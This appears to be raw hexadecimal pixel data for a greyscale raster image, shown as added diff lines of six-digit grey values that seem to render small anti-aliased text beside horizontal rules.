+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000040404 +FFFFFF545454000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000040404FFFFFF5454540000000000000000000000000000000000006C6C6C404040 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000414141D0D0D0F8F8F8D2D2D2 +4545450000000000000000000000006B6B6BD8D8D8F6F6F6DADADA717171000000000000000000 +000000000000000000000000000000000000000000000000000000000000414141D0D0D0F8F8F8 +D2D2D24545450000000000000000000000001A1A1AA6A6A6EEEEEEF4F4F4C5C5C5262626000000 +000000FCFCFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE3E3E3000000000000000000000000000000 +000000000000B5B5B5AEAEAE000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000030303D4D4D4454545000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000030303D4D4D4454545 +000000000000000000000000000000000000D8D8D8808080000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000222222F5F5F5B0B0B0494949ACACACF6F6F62525250000000000005D5D5D +FFFFFF868686424242818181FFFFFF676767000000000000000000000000000000000000000000 +000000000000000000000000222222F5F5F5B0B0B0494949ACACACF6F6F6252525000000000000 +0B0B0BDBDBDBDEDEDE6F6F6F5F5F5F949494383838000000000000525252545454545454545454 +545454E9E9E99E9E9E000000000000000000000000000000000000282828FEFEFE3D3D3D000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000D8D8D8808080000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000008E8E8EEDEDED +0A0A0A000000080808EBEBEB929292000000000000B1B1B1CCCCCC000000000000000000C4C4C4 +BABABA0000000000000000000000000000000000000000000000000000000000000000008E8E8E +EDEDED0A0A0A000000080808EBEBEB929292000000000000747474F1F1F11A1A1A000000000000 +0000000000000000000000000000000000000000000000002B2B2BFFFFFF454545000000000000 +000000000000000000000000989898CCCCCC000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000343434FFFFFF919191F6F6F6858585939393F3F3F39191910000000000002F2F2F +ADADADE6E6E6F9F9F9D7D7D7646464000000000000000000202020FFFFFFFFFFFFFFFFFF545454 +000000000000000000000000949494C8C8C8717171E5E5E5EEEEEE939393030303000000000000 +0000000000000000000000000000000000000000000000000000009C9C9CC3C3C3949494F1F1F1 +EBEBEB828282000000000000131313F9F9F95D5D5D000000000000000000292929FFFFFF404040 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000343434FFFFFF919191F6F6F6858585939393F3F3F3919191000000000000202020FFFFFF +FFFFFFFFFFFF5454540000000000000000000C0C0CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +909090000000343434FFFFFF919191F6F6F6858585939393F3F3F3919191000000000000000000 +0000000000000000000000000000000000000000000000009C9C9CC3C3C3949494F1F1F1EBEBEB +828282000000000000131313F9F9F95D5D5D000000000000000000292929FFFFFF404040000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +343434FFFFFF919191F6F6F6858585939393F3F3F3919191000000000000000000565656D2D2D2 +F6F6F6E8E8E8AEAEAE101010000000000000D0D0D0ACACAC000000000000000000A6A6A6D6D6D6 +000000000000B5B5B5BFBFBF000000000000000000B7B7B7BABABA000000000000000000000000 +000000000000000000000000000000000000000000D0D0D0ACACAC000000000000000000A6A6A6 +D6D6D6000000000000C4C4C49A9A9A000000000000000000000000000000000000000000000000 +000000000000000000868686E9E9E9030303000000000000000000000000000000131313F6F6F6 +5A5A5A000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000343434FFFFFF7E7E7E +868686FEFEFE9E9E9E676767FFFFFF1B1B1B000000595959919191575757434343757575FAFAFA +4D4D4D000000000000040404202020232323FFFFFF545454000000000000000000000000949494 +F5F5F59D9D9D1D1D1D4D4D4DFCFCFC555555000000000000000000000000000000000000000000 +0000000000000000000000009C9C9CFEFEFE9E9E9E171717464646F3F3F3636363000000000000 +ADADADB9B9B9000000000000000000848484E1E1E1010101000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000343434FFFFFF7E7E7E868686 +FEFEFE9E9E9E676767FFFFFF1B1B1B000000040404202020232323FFFFFF545454000000000000 +000000010101202020202020DDDDDD909090202020202020121212000000343434FFFFFF7E7E7E +868686FEFEFE9E9E9E676767FFFFFF1B1B1B000000000000000000000000000000000000000000 +0000000000000000009C9C9CFEFEFE9E9E9E171717464646F3F3F3636363000000000000ADADAD +B9B9B9000000000000000000848484E1E1E1010101000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000343434FFFFFF7E7E7E868686FEFEFE +9E9E9E676767FFFFFF1B1B1B000000292929FCFCFC8D8D8D404040565656A6A6A61C1C1C000000 +000000F4F4F48989890000000D0D0D000000828282F9F9F9010101000000525252FAFAFA515151 +1111114C4C4CF7F7F7505050000000000000000000000000000000000000000000000000000000 +000000000000F4F4F48989890000000D0D0D000000828282F9F9F9010101000000EFEFEF777777 +ACACACF9F9F9EBEBEB878787020202000000000000000000000000000000010101DFDFDF949494 +0000000000000000000000000000000000007B7B7BE4E4E4040404000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000343434FFFFFF1313131F1F1FFFFFFF383838010101F9F9F9 +404040000000000000000000000000000000000000AAAAAAA5A5A5000000000000000000000000 +040404FFFFFF545454000000000000000000000000949494F4F4F40B0B0B000000000000C2C2C2 +9898980000000000000000000000000000000000000000000000000000000000000000009C9C9C +F8F8F80F0F0F000000000000939393D1D1D10000000000004E4E4EFCFCFC181818000000000000 +DCDCDC858585000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000343434FFFFFF1313131F1F1FFFFFFF383838010101F9F9F9404040 +000000000000000000040404FFFFFF545454000000000000000000000000000000000000D8D8D8 +808080000000000000000000000000343434FFFFFF1313131F1F1FFFFFFF383838010101F9F9F9 +4040400000000000000000000000000000000000000000000000000000000000009C9C9CF8F8F8 +0F0F0F000000000000939393D1D1D10000000000004E4E4EFCFCFC181818000000000000DCDCDC +858585000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000343434FFFFFF1313131F1F1FFFFFFF383838010101F9F9F9404040000000 +5C5C5CFCFCFC020202000000000000000000000000000000030303FFFFFF7B7B7B4F4F4FFEFEFE +555555747474FFFFFF0A0A0A000000000000626262FAFAFAFFFFFFFCFCFC656565000000000000 +000000000000000000000000000000000000000000000000000000030303FFFFFF7B7B7B4F4F4F +FEFEFE555555747474FFFFFF0A0A0A020202FFFFFFE7E7E7A2A2A2424242787878FCFCFC6D6D6D +0000000000000000000000000000003C3C3CFFFFFF3B3B3B000000000000000000000000000000 +060606E6E6E6777777000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +343434FFFFFF050505121212FFFFFF292929000000EEEEEE4C4C4C0000000808087D7D7DD4D4D4 +F2F2F2F8F8F8FCFCFCBCBCBC000000000000000000000000040404FFFFFF545454000000000000 +000000000000949494D2D2D2000000000000000000AAAAAAAFAFAF000000000000000000000000 +0000000000000000000000000000000000000000009C9C9CD3D3D3000000000000000000606060 +FBFBFB020202000000050505EAEAEA717171000000383838FFFFFF272727000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000343434 +FFFFFF050505121212FFFFFF292929000000EEEEEE4C4C4C000000000000000000040404FFFFFF +545454000000000000000000000000000000000000D8D8D8808080000000000000000000000000 +343434FFFFFF050505121212FFFFFF292929000000EEEEEE4C4C4C000000000000000000000000 +0000000000000000000000000000000000009C9C9CD3D3D3000000000000000000606060FBFBFB +020202000000050505EAEAEA717171000000383838FFFFFF272727000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000343434FFFFFF +050505121212FFFFFF292929000000EEEEEE4C4C4C000000313131FFFFFF9F9F9F4141410B0B0B +000000000000000000030303FFFFFF7B7B7B444444F1F1F1494949757575FFFFFF0A0A0A000000 +474747F3F3F37E7E7E4343437C7C7CF8F8F8555555000000000000000000000000000000000000 +000000000000000000000000030303FFFFFF7B7B7B444444F1F1F1494949757575FFFFFF0A0A0A +030303FFFFFFDDDDDD020202000000000000A8A8A8DADADA000000000000000000000000000000 +979797E2E2E20101010000000000000000000000000000005E5E5EF4F4F4111111000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 